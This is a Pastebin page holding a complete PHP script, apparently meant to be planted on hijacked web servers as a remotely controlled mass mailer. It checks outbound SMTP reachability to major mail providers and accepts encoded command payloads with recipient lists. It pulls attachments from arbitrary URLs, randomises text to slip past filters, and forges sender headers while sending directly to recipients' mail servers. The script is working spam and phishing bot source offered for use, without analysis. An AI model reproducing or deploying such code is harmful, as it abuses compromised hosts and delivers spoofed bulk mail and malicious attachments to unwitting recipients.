Advertisement
rom4eg9996669

hostdata25.php

Apr 23rd, 2015
669
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 11.08 KB | None | 0 0
  1. <?php
  2.     error_reporting(0);
  3.  
  4.     if (!$_REQUEST['check']) {
  5.     if (!$_REQUEST['data']) {
  6.         if (!$_REQUEST['send']) {
  7.         die("good!!!");
  8.         }
  9.     }
  10.     }
  11.  
  12.     if ($_REQUEST['check'] == '1') {
  13.     $mxs = array(
  14.             'gmail-smtp-in.l.google.com,google',
  15.             'mx.yandex.ru,yandex',
  16.             'mxs.mail.ru,mail',
  17.             'imx1.rambler.ru,rambler',
  18.             'mta5.am0.yahoodns.net,yahoo',
  19.             'mx1.hotmail.com,hotmail',
  20.             'mx.qip.ru,pochta'
  21.         );
  22.  
  23.     foreach($mxs as $mx) {
  24.         $arr = explode(',', $mx);
  25.         $smtp = fsockopen($arr[0], 25, $errno, $errstr, 1);
  26.         stream_set_timeout($smtp, 1);
  27.         fwrite($smtp, "HELO ".$arr[0]."\r\n");
  28.         $read = fgets($smtp).'<br>';
  29.  
  30.         if (stristr($read, '220') && stristr($read, $arr[1])) {
  31.         $out[] = 'OK';
  32.         } else {
  33.         $out[] = 'NO';
  34.         }
  35.     }
  36.  
  37.     if (in_array('OK', $out) && !stristr(php_uname('s'), 'win')) {
  38.         echo 'OK';
  39.     } else {
  40.         echo 'NO';
  41.     }
  42.     die();
  43.     }
  44.  
  45.     if ($_REQUEST['data']) {
  46.     session_start();
  47.  
  48.     $data = json_decode(base64_decode(str_replace(' ', '+', $_REQUEST['data'])), true);
  49.     $xml = simplexml_load_string($data);
  50.  
  51.     // Mess Type
  52.     $m_type = $xml->template['type'] == 'html' ? 'text/html' : 'text/plain';
  53.  
  54.     // Recipients
  55.     $m_recipients_arr = array();
  56.     foreach($xml->recipients->email as $email) {
  57.         $m_recipients_arr[(string)$email['id']] = (string)$email;
  58.     }
  59.  
  60.     // Mess Body
  61.     $m_body = (string)$xml->template->body;
  62.  
  63.     // Attaches
  64.     $m_attaches_arr = array();
  65.     foreach($xml->attaches->attach as $attach) {
  66.         $curl = curl_init();
  67.         curl_setopt($curl, CURLOPT_URL, (string)$attach->url);
  68.         curl_setopt($curl, CURLOPT_HEADER, 0);
  69.         curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  70.         curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
  71.         $file = curl_exec($curl);
  72.         curl_close($curl);
  73.  
  74.         if ($file) {
  75.         $_SESSION['attach'][] = array(
  76.             'mime' => (string)$attach->mime,
  77.             'name' => (string)$attach->name,
  78.             'file' => base64_encode($file)
  79.         );
  80.  
  81.         $m_attaches_arr[] = array(
  82.             'mime' => (string)$attach->mime,
  83.             'name' => (string)$attach->name,
  84.             'url' => (string)$attach->url
  85.         );
  86.         }
  87.     }
  88.  
  89.     // Macroses
  90.     $m_macros = array();
  91.     if (!empty($xml->macros)) {
  92.         foreach($xml->macros->macro as $_macros) {
  93.         $name = (string)$_macros['name'];
  94.         foreach($_macros->item as $item) {
  95.             $m_macros[$name][] = (string)$item;
  96.         }
  97.         }
  98.     }
  99.  
  100.     function macros_decoder($str) {
  101.         global $m_macros;
  102.         global $mail_to;
  103.  
  104.         $str = str_replace(array('{', '}'), '', $str);
  105.  
  106.         if (array_key_exists($str, $m_macros)) {
  107.         $macros1 = $m_macros[$str][array_rand($m_macros[$str])];
  108.         preg_match_all("|{(.*)}|U", $macros1, $first);
  109.  
  110.         if (count($first[0]) == '0') {
  111.             return $macros1;
  112.         } else {
  113.             foreach($first[0] as $str) {
  114.             if (stristr($str, 'SYMBOL') || stristr($str, 'LET')) {
  115.  
  116.                 if (stristr($str, 'SYMBOL')) {
  117.                 $name[$str] = symbol($str);
  118.                 }
  119.  
  120.                 if (stristr($str, 'LET')) {
  121.                 $name[$str] = let($str);
  122.                 }
  123.  
  124.             } else {
  125.                 $replace = $str;
  126.  
  127.                 $i = '1';
  128.                 while(true) {
  129.                 $str = str_replace(array('{', '}'), '', $str);
  130.                 $macros2 = $m_macros[$str][array_rand($m_macros[$str])];
  131.  
  132.                 if (!stristr($macros2, '{')) {
  133.                     $name[$replace] = $macros2;
  134.                     break;
  135.                 } else {
  136.                     preg_match("|{(.*)}|U", $macros2, $str);
  137.                     $str = $str[0];
  138.                     $i++;
  139.                 }
  140.                 }
  141.             }
  142.             }
  143.         }
  144.  
  145.         foreach($name as $key => $val) {
  146.             $macros1 = str_replace($key, $val, $macros1);
  147.         }
  148.  
  149.         return $macros1;
  150.         } else {
  151.         if (stristr($str, 'let:')) {
  152.             return let($str);
  153.         }
  154.  
  155.         if (stristr($str, 'mail_to')) {
  156.             return $mail_to;
  157.         }
  158.  
  159.         if (stristr($str, 'mailto_domain')) {
  160.             $d_arr = explode('@', $mail_to);
  161.             return $d_arr[1];
  162.         }
  163.  
  164.         if (stristr($str, 'linedate')) {
  165.             return date('YmdHis');
  166.         }
  167.  
  168.         if (preg_match('/^DIGIT\[(((\d+)-(\d+))|(\d+))\]$/', $str, $match)) {
  169.             return substr(str_shuffle("0123456789"), 0, $match[5]);
  170.         }
  171.  
  172.         if (stristr($str, 'symbol')) {
  173.             return symbol('{'.$str.'}');
  174.         }
  175.  
  176.         if (stristr($str, 'host')) {
  177.             return $_SERVER['SERVER_NAME'];
  178.         }
  179.         }
  180.     }
  181.  
  182.     function let($str) {
  183.         $str = str_replace(array('{', '}'), '', $str);
  184.         $let_arr = explode(',',  substr($str, 4));
  185.         return trim($let_arr[array_rand($let_arr)]);
  186.         }
  187.  
  188.     function symbol($str) {
  189.         preg_match_all("|{SYMBOL(.*)}|U", $str, $preg);
  190.         $num = explode('-', str_replace(array('[', ']'), '', implode($preg[1])));
  191.         return substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), $num[0], $num[1]);
  192.     }
  193.  
  194.     function macros($str) {
  195.         preg_match_all("|{(.*)}|U", $str, $out);
  196.         foreach ($out[0] as $val) {
  197.         $str = str_replace($val, macros_decoder($val), $str);
  198.         }
  199.         return $str;
  200.     }
  201.  
  202.     function json_encode_($string) {
  203.         $arrayUtf = array('\u0410', '\u0430', '\u0411', '\u0431', '\u0412', '\u0432', '\u0413', '\u0433', '\u0414', '\u0434', '\u0415', '\u0435', '\u0401', '\u0451', '\u0416', '\u0436', '\u0417', '\u0437', '\u0418', '\u0438', '\u0419', '\u0439', '\u041a', '\u043a', '\u041b', '\u043b', '\u041c', '\u043c', '\u041d', '\u043d', '\u041e', '\u043e', '\u041f', '\u043f', '\u0420', '\u0440', '\u0421', '\u0441', '\u0422', '\u0442', '\u0423', '\u0443', '\u0424', '\u0444', '\u0425', '\u0445', '\u0426', '\u0446', '\u0427', '\u0447', '\u0428', '\u0448', '\u0429', '\u0449', '\u042a', '\u044a', '\u042b', '\u044b', '\u042c', '\u044c', '\u042d', '\u044d', '\u042e', '\u044e', '\u042f', '\u044f');
  204.         $arrayCyr = array('А', 'а', 'Б', 'б', 'В', 'в', 'Г', 'г', 'Д', 'д', 'Е', 'е', 'Ё', 'ё', 'Ж', 'ж', 'З', 'з', 'И', 'и', 'Й', 'й', 'К', 'к', 'Л', 'л', 'М', 'м', 'Н', 'н', 'О', 'о', 'П', 'п', 'Р', 'р', 'С', 'с', 'Т', 'т', 'У', 'у', 'Ф', 'ф', 'Х', 'х', 'Ц', 'ц', 'Ч', 'ч', 'Ш', 'ш',  'Щ', 'щ', 'Ъ', 'ъ', 'Ы', 'ы', 'Ь', 'ь', 'Э', 'э', 'Ю', 'ю', 'Я', 'я');
  205.         return str_replace($arrayUtf,$arrayCyr,json_encode($string));
  206.     }
  207.  
  208.     $mh = curl_multi_init();
  209.     foreach($m_recipients_arr as $key => $recipient) {
  210.         $mail_to = $recipient;
  211.  
  212.         $arr = array(
  213.         'session_id' => session_id(),
  214.         'name' => macros((string)$xml->template->sender),
  215.         'from' => macros((string)$xml->template->email),
  216.         'to' => $recipient,
  217.         'type' => $m_type,
  218.         'subj' => macros((string)$xml->template->subject),
  219.         'body' => macros($m_body),
  220.         'attach' => $m_attaches_arr
  221.         );
  222.  
  223.         $ch[$key] = curl_init();
  224.         curl_setopt($ch[$key], CURLOPT_URL, 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
  225.         curl_setopt($ch[$key], CURLOPT_HEADER, 0);
  226.         curl_setopt($ch[$key], CURLOPT_RETURNTRANSFER, 1);
  227.         curl_setopt($ch[$key], CURLOPT_POST, 1);
  228.         curl_setopt($ch[$key], CURLOPT_POSTFIELDS, 'send='.base64_encode(json_encode_($arr)));
  229.         curl_multi_add_handle($mh, $ch[$key]);
  230.     }
  231.  
  232.     session_write_close();
  233.  
  234.     do {
  235.         curl_multi_exec($mh, $still_running);
  236.         curl_multi_select($mh);
  237.     } while($still_running > 0);
  238.  
  239.     $response = array();
  240.     foreach($m_recipients_arr as $key => $recipient) {
  241.         $curl = curl_multi_getcontent($ch[$key]);
  242.         if ($curl == 'sent') {
  243.         $result = 'OK';
  244.         $errors = '';
  245.         } else {
  246.         $result = 'NO';
  247.         $errors = $curl;
  248.         }
  249.  
  250.         $response[] = array(
  251.         'id' => $key,
  252.         'email' => $recipient,
  253.         'result' => $result,
  254.         'errors' => $errors,
  255.         'time' => round(curl_getinfo($ch[$key], CURLINFO_TOTAL_TIME))
  256.         );
  257.     }
  258.  
  259.     echo base64_encode(json_encode($response));
  260.     curl_multi_close($mh);
  261.     }
  262.  
  263.     if ($_REQUEST['send']) {
  264.     $data = json_decode(base64_decode(str_replace(' ', '+', $_REQUEST['send'])), true);
  265.     if ($data['to']) {
  266.         session_id($data['session_id']);
  267.         session_start();
  268.  
  269.         $domain = explode('@', $data['to']);
  270.         $domain = dns_get_record($domain[1], DNS_MX);
  271.         $email['mx'] = $domain[0]['target'];
  272.  
  273.         if (!$email['mx']) {
  274.         die("mx");
  275.         }
  276.  
  277.         $sender = explode('@', $data['from']);
  278.         $domain = $sender[1];
  279.         $sender = $sender[0];
  280.  
  281.         $recipient = explode('@', $data['to']);
  282.         $recipient = $recipient[0];
  283.  
  284.         $boundary = '--' . md5(uniqid(time()));
  285.  
  286.         $email['header'] = 'From: =?utf-8?B?'. base64_encode($data['name']).'?= <'.$data['from'].'>';
  287.         $email['header'] .= PHP_EOL.'To: '.$data['to'];
  288.         $email['header'] .= PHP_EOL.'Subject: =?utf-8?B?'.base64_encode($data['subj']).'?=';
  289.         $email['header'] .= PHP_EOL.'Message-ID: '.md5($sender . $recipient).'@'.$domain;
  290.         $email['header'] .= PHP_EOL.'MIME-Version: 1.0';
  291.  
  292.         $email['text'] = $data['body'];
  293.  
  294.         if ($data['attach']) {
  295.         $email['header'] .= PHP_EOL.'Content-Type: multipart/mixed; boundary="'.$boundary.'"';
  296.         } else {
  297.         $email['header'] .= PHP_EOL.'Content-Type: '.$data['type'].'; charset=UTF-8;';
  298.         }
  299.  
  300.         if ($data['attach']) {
  301.         $email['text'] = '--'.$boundary;
  302.         $email['text'] .= PHP_EOL.'Content-Type: '.$data['type'].'; charset=UTF-8;';
  303.         $email['text'] .= PHP_EOL.'Content-Transfer-Encoding: base64'.PHP_EOL;
  304.         $email['text'] .= PHP_EOL.chunk_split(base64_encode($data['text']));
  305.         }
  306.  
  307.         foreach($_SESSION['attach'] as $attach) {
  308.         if ($attach['file']) {
  309.             $email['text'] .= PHP_EOL.'--'.$boundary;
  310.             $email['text'] .= PHP_EOL.'Content-Type: '.$attach['mime'].'; name = "'.$attach['name'].'"';
  311.             $email['text'] .= PHP_EOL.'Content-Transfer-Encoding: base64'.PHP_EOL;
  312.             $email['text'] .= PHP_EOL.chunk_split($attach['file']);
  313.             $file = $attach['file'];
  314.         }
  315.         }
  316.  
  317.         if ($data['attach'] && !$file) {
  318.         die("attach");
  319.         }
  320.  
  321.         $smtp = fsockopen($email['mx'], 25, $errno, $errstr, 1);
  322.         stream_set_timeout($smtp, 1);
  323.  
  324.         fwrite($smtp, 'HELO '.$email['mx']."\r\n");
  325.         $reply[] = 'HELO '.$email['mx']."\r\n";
  326.         $reply[] = fgets($smtp);
  327.  
  328.         fwrite($smtp, 'MAIL FROM:<'.$data['from'].'>'."\r\n");
  329.         $reply[] = 'MAIL FROM:<'.$data['from'].'>'."\r\n";
  330.         $reply[] = fgets($smtp);
  331.  
  332.         fwrite($smtp, 'RCPT TO:<'.$data['to'].'>'."\r\n");
  333.         $reply[] = 'RCPT TO:<'.$data['to'].'>'."\r\n";
  334.         $reply[] = fgets($smtp);
  335.  
  336.         fwrite($smtp, 'DATA' . "\r\n");
  337.         $reply[] = 'DATA' . "\r\n";
  338.         $reply[] = fgets($smtp);
  339.  
  340.         $headers = '';
  341.         foreach (explode("\n", $email['header']) as $val) {
  342.         $headers .= $val."\r\n";
  343.         }
  344.  
  345.         fwrite($smtp, $headers."\r\n");
  346.         $reply[] = $headers."\r\n\r\n";
  347.         $reply[] = fgets($smtp);
  348.  
  349.         fwrite($smtp, $email['text']."\r\n");
  350.         $reply[] = $email['text']."\r\n";
  351.         $reply[] = fgets($smtp);
  352.  
  353.         fwrite($smtp, "\r\n".'.'."\r\n");
  354.         $reply[] = "\r\n".'.'."\r\n";
  355.         $reply[] = $reply[] = fgets($smtp);
  356.  
  357.         fwrite($smtp, 'QUIT'."\r\n");
  358.         $reply[] = 'QUIT'."\r\n";
  359.         $reply[] = fgets($smtp);
  360.  
  361.         fclose($smtp);
  362.  
  363. //      var_dump($reply);
  364.  
  365.         $_smtp_errors = "421,422,431,432,441,442,446,447,449,450,451,452,471,500,501,502,503,504,510,511,512,513,523,530,541,550,551,552,553,554";
  366.         $errors = array();
  367.         foreach(explode(',', $_smtp_errors) as $err) {
  368.         if(preg_grep('/^'.$err.'/i', $reply)) {
  369.             $errors[] = $err;
  370.         }
  371.         }
  372.  
  373.         if($errno || $errors) {
  374.         echo implode(",", $errors);
  375.         } else {
  376.         echo "sent";
  377.         }
  378.     }
  379.     }
  380. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement